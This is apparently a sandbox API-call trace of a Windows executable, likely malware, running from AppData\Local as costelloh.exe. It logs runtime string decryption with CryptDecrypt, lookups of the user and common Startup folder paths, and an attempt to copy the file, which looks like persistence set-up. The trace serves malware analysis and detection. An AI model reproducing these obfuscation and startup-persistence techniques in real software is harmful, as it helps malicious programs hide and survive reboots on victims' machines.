	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd252c0
	[0211.992] CryptImportKey (in: hProv=0x616790, pbData=0x1afc00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc68 | out: phKey=0x1afc68*=0x645e78) returned 1
	[0211.992] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afc50, dwFlags=0x0) returned 1
	[0211.992] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd252c0, pdwDataLen=0x1afc1c | out: pbData=0xd252c0, pdwDataLen=0x1afc1c) returned 1
	[0211.992] CryptDestroyKey (hKey=0x645e78) returned 1
	[0211.992] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd252c0 | out: hHeap=0xd20000) returned 1
	[0211.992] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xd214d0, nSize=0xf | out: lpDst="") returned 0x1e
	[0211.992] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214f8 | out: hHeap=0xd20000) returned 1
	[0211.992] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd214d0, Size=0x3a) returned 0xd214d0
	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x3a) returned 0xd21518
	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd252c0
	[0211.992] CryptImportKey (in: hProv=0x616790, pbData=0x1afbfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc64 | out: phKey=0x1afc64*=0x645878) returned 1
	[0211.992] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0x1afc4c, dwFlags=0x0) returned 1
	[0211.992] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd252c0, pdwDataLen=0x1afc18 | out: pbData=0xd252c0, pdwDataLen=0x1afc18) returned 1
	[0211.992] CryptDestroyKey (hKey=0x645878) returned 1
	[0211.992] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd252c0 | out: hHeap=0xd20000) returned 1
	[0211.992] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xd214d0, nSize=0x1d | out: lpDst="") returned 0x1e
	[0211.992] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21518 | out: hHeap=0xd20000) returned 1
	[0211.992] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd214d0, Size=0x72) returned 0xd214d0
	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x72) returned 0xd252c0
	[0211.992] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd25340
	[0211.993] CryptImportKey (in: hProv=0x616790, pbData=0x1afbfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc64 | out: phKey=0x1afc64*=0x6458b8) returned 1
	[0211.993] CryptSetKeyParam (hKey=0x6458b8, dwParam=0x1, pbData=0x1afc4c, dwFlags=0x0) returned 1
	[0211.993] CryptDecrypt (in: hKey=0x6458b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25340, pdwDataLen=0x1afc18 | out: pbData=0xd25340, pdwDataLen=0x1afc18) returned 1
	[0211.993] CryptDestroyKey (hKey=0x6458b8) returned 1
	[0211.993] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25340 | out: hHeap=0xd20000) returned 1
	[0211.993] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0xd214d0, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e
	[0211.993] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd252c0 | out: hHeap=0xd20000) returned 1
	[0211.993] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.993] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd252c0
	[0211.993] CryptImportKey (in: hProv=0x616790, pbData=0x1afc24, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc8c | out: phKey=0x1afc8c*=0x645a78) returned 1
	[0211.993] CryptSetKeyParam (hKey=0x645a78, dwParam=0x1, pbData=0x1afc74, dwFlags=0x0) returned 1
	[0211.994] CryptDecrypt (in: hKey=0x645a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd252c0, pdwDataLen=0x1afc40 | out: pbData=0xd252c0, pdwDataLen=0x1afc40) returned 1
	[0211.994] CryptDestroyKey (hKey=0x645a78) returned 1
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x3e) returned 0xd25308
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x3e) returned 0xd25350
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd25398
	[0211.994] CryptImportKey (in: hProv=0x616790, pbData=0x1afbfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc64 | out: phKey=0x1afc64*=0x645878) returned 1
	[0211.994] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0x1afc4c, dwFlags=0x0) returned 1
	[0211.994] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25398, pdwDataLen=0x1afc18 | out: pbData=0xd25398, pdwDataLen=0x1afc18) returned 1
	[0211.994] CryptDestroyKey (hKey=0x645878) returned 1
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x10) returned 0xd214a8
	[0211.994] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbe0 | out: phkResult=0x1afbe0*=0x490) returned 0x0
	[0211.994] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x1afbdc, lpData=0xd25350, lpcbData=0x1afbe4*=0x3e | out: lpType=0x1afbdc*=0x2, lpData=0xd25350*=0xc0, lpcbData=0x1afbe4*=0x98) returned 0xea
	[0211.994] RegCloseKey (hKey=0x490) returned 0x0
	[0211.994] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.994] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25398 | out: hHeap=0xd20000) returned 1
	[0211.994] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25350 | out: hHeap=0xd20000) returned 1
	[0211.994] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd25308, Size=0x7a) returned 0xd25308
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x7a) returned 0xd25390
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd25418
	[0211.994] CryptImportKey (in: hProv=0x616790, pbData=0x1afbf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc60 | out: phKey=0x1afc60*=0x645af8) returned 1
	[0211.994] CryptSetKeyParam (hKey=0x645af8, dwParam=0x1, pbData=0x1afc48, dwFlags=0x0) returned 1
	[0211.994] CryptDecrypt (in: hKey=0x645af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25418, pdwDataLen=0x1afc14 | out: pbData=0xd25418, pdwDataLen=0x1afc14) returned 1
	[0211.994] CryptDestroyKey (hKey=0x645af8) returned 1
	[0211.994] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x10) returned 0xd214a8
	[0211.994] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbdc | out: phkResult=0x1afbdc*=0x490) returned 0x0
	[0211.994] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x1afbd8, lpData=0xd25390, lpcbData=0x1afbe0*=0x7a | out: lpType=0x1afbd8*=0x2, lpData=0xd25390*=0xc0, lpcbData=0x1afbe0*=0x98) returned 0xea
	[0211.995] RegCloseKey (hKey=0x490) returned 0x0
	[0211.995] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.995] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25418 | out: hHeap=0xd20000) returned 1
	[0211.995] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25390 | out: hHeap=0xd20000) returned 1
	[0211.995] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd25308, Size=0xf2) returned 0xd25308
	[0211.995] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xf2) returned 0xd25408
	[0211.995] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd25508
	[0211.995] CryptImportKey (in: hProv=0x616790, pbData=0x1afbf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc60 | out: phKey=0x1afc60*=0x6459f8) returned 1
	[0211.995] CryptSetKeyParam (hKey=0x6459f8, dwParam=0x1, pbData=0x1afc48, dwFlags=0x0) returned 1
	[0211.995] CryptDecrypt (in: hKey=0x6459f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25508, pdwDataLen=0x1afc14 | out: pbData=0xd25508, pdwDataLen=0x1afc14) returned 1
	[0211.995] CryptDestroyKey (hKey=0x6459f8) returned 1
	[0211.995] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x10) returned 0xd214a8
	[0211.995] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbdc | out: phkResult=0x1afbdc*=0x490) returned 0x0
	[0211.995] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x1afbd8, lpData=0xd25408, lpcbData=0x1afbe0*=0xf2 | out: lpType=0x1afbd8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1afbe0*=0x98) returned 0x0
	[0211.995] RegCloseKey (hKey=0x490) returned 0x0
	[0211.995] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.995] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd214a8
	[0211.995] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbdc | out: phkResult=0x1afbdc*=0x490) returned 0x0
	[0211.995] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1afbd8, lpData=0xd254a0, lpcbData=0x1afbe0*=0x5a | out: lpType=0x1afbd8*=0x0, lpData=0xd254a0*=0x73, lpcbData=0x1afbe0*=0x5a) returned 0x2
	[0211.995] RegCloseKey (hKey=0x490) returned 0x0
	[0211.995] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbf0 | out: phkResult=0x1afbf0*=0x490) returned 0x0
	[0211.995] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1afbec, lpData=0xd254a0, lpcbData=0x1afbf4*=0x5a | out: lpType=0x1afbec*=0x2, lpData=0xd254a0*=0x73, lpcbData=0x1afbf4*=0x78) returned 0xea
	[0211.995] RegCloseKey (hKey=0x490) returned 0x0
	[0211.995] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.996] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25508 | out: hHeap=0xd20000) returned 1
	[0211.996] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25408 | out: hHeap=0xd20000) returned 1
	[0211.996] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd25308, Size=0x1e2) returned 0xd25308
	[0211.996] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e2) returned 0xd254f8
	[0211.996] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd256e8
	[0211.996] CryptImportKey (in: hProv=0x616790, pbData=0x1afbf8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc60 | out: phKey=0x1afc60*=0x645f38) returned 1
	[0211.996] CryptSetKeyParam (hKey=0x645f38, dwParam=0x1, pbData=0x1afc48, dwFlags=0x0) returned 1
	[0211.996] CryptDecrypt (in: hKey=0x645f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd256e8, pdwDataLen=0x1afc14 | out: pbData=0xd256e8, pdwDataLen=0x1afc14) returned 1
	[0211.996] CryptDestroyKey (hKey=0x645f38) returned 1
	[0211.996] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x10) returned 0xd214a8
	[0211.996] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbdc | out: phkResult=0x1afbdc*=0x490) returned 0x0
	[0211.996] RegQueryValueExW (in: hKey=0x490, lpValueName="Startup", lpReserved=0x0, lpType=0x1afbd8, lpData=0xd254f8, lpcbData=0x1afbe0*=0x1e2 | out: lpType=0x1afbd8*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1afbe0*=0x98) returned 0x0
	[0211.996] RegCloseKey (hKey=0x490) returned 0x0
	[0211.996] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.996] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd214a8
	[0211.996] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbdc | out: phkResult=0x1afbdc*=0x490) returned 0x0
	[0211.996] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1afbd8, lpData=0xd25590, lpcbData=0x1afbe0*=0x14a | out: lpType=0x1afbd8*=0x0, lpData=0xd25590*=0x73, lpcbData=0x1afbe0*=0x14a) returned 0x2
	[0211.996] RegCloseKey (hKey=0x490) returned 0x0
	[0211.997] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x1afbf0 | out: phkResult=0x1afbf0*=0x490) returned 0x0
	[0211.997] RegQueryValueExW (in: hKey=0x490, lpValueName="Common Startup", lpReserved=0x0, lpType=0x1afbec, lpData=0xd25590, lpcbData=0x1afbf4*=0x14a | out: lpType=0x1afbec*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x1afbf4*=0x78) returned 0x0
	[0211.997] RegCloseKey (hKey=0x490) returned 0x0
	[0211.997] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214a8 | out: hHeap=0xd20000) returned 1
	[0211.997] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd256e8 | out: hHeap=0xd20000) returned 1
	[0211.997] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0xd25308, nSize=0xf1 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x8b
	[0211.997] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd254f8 | out: hHeap=0xd20000) returned 1
	[0211.997] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd252c0 | out: hHeap=0xd20000) returned 1
	[0211.997] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd254f8
	[0211.997] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd25710
	[0211.997] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd25928
	[0211.997] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd25b40
	[0211.997] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd254f8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0211.997] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd25d58
	[0211.997] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd25d58, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0211.997] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25d58 | out: hHeap=0xd20000) returned 1
	[0211.997] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd25d58
	[0211.997] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd25d58, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0211.997] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25d58 | out: hHeap=0xd20000) returned 1
	[0211.997] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), bFailIfExists=0) returned 0
	[0212.002] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x118) returned 0xd25d58
	[0212.002] GetLastError () returned 0x20
	[0212.002] SetLastError (dwErrCode=0x20) 
	[0212.002] GetLastError () returned 0x20
	[0212.002] SetLastError (dwErrCode=0x20) 
	[0212.002] GetLastError () returned 0x20
	[0212.002] SetLastError (dwErrCode=0x20) 
	[0212.002] GetLastError () returned 0x20
	[0212.003] SetLastError (dwErrCode=0x20) 
	[0212.003] GetLastError () returned 0x20
	[0212.003] SetLastError (dwErrCode=0x20) 
	[0212.003] GetLastError () returned 0x20
	[0212.003] SetLastError (dwErrCode=0x20) 
	[0212.003] GetLastError () returned 0x20
	[0212.006] SetLastError (dwErrCode=0x20) 
	[0212.006] GetLastError () returned 0x20
	[0212.006] SetLastError (dwErrCode=0x20) 
	[0212.006] GetLastError () returned 0x20
	[0212.006] SetLastError (dwErrCode=0x20) 
	[0212.006] GetLastError () returned 0x20
	[0212.006] SetLastError (dwErrCode=0x20) 
	[0212.006] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.007] GetLastError () returned 0x20
	[0212.007] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.008] SetLastError (dwErrCode=0x20) 
	[0212.008] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.009] GetLastError () returned 0x20
	[0212.009] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.010] GetLastError () returned 0x20
	[0212.010] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.011] SetLastError (dwErrCode=0x20) 
	[0212.011] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.012] SetLastError (dwErrCode=0x20) 
	[0212.012] GetLastError () returned 0x20
	[0212.013] SetLastError (dwErrCode=0x20) 
	[0212.013] GetLastError () returned 0x20
	[0212.013] SetLastError (dwErrCode=0x20) 
	[0212.013] GetLastError () returned 0x20
	[0212.013] SetLastError (dwErrCode=0x20) 
	[0212.013] GetLastError () returned 0x20
	[0212.013] SetLastError (dwErrCode=0x20) 
	[0212.013] GetLastError () returned 0x20
	[0212.013] SetLastError (dwErrCode=0x20) 
	[0212.013] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.014] GetLastError () returned 0x20
	[0212.014] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.015] SetLastError (dwErrCode=0x20) 
	[0212.015] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.016] SetLastError (dwErrCode=0x20) 
	[0212.016] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] SetLastError (dwErrCode=0x20) 
	[0212.017] GetLastError () returned 0x20
	[0212.017] GetLastError () returned 0x20
	[0212.017] GetLastError () returned 0x20
	[0212.017] GetLastError () returned 0x20
	[0212.017] GetLastError () returned 0x20
	[0212.017] GetLastError () returned 0x20
	[0212.017] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
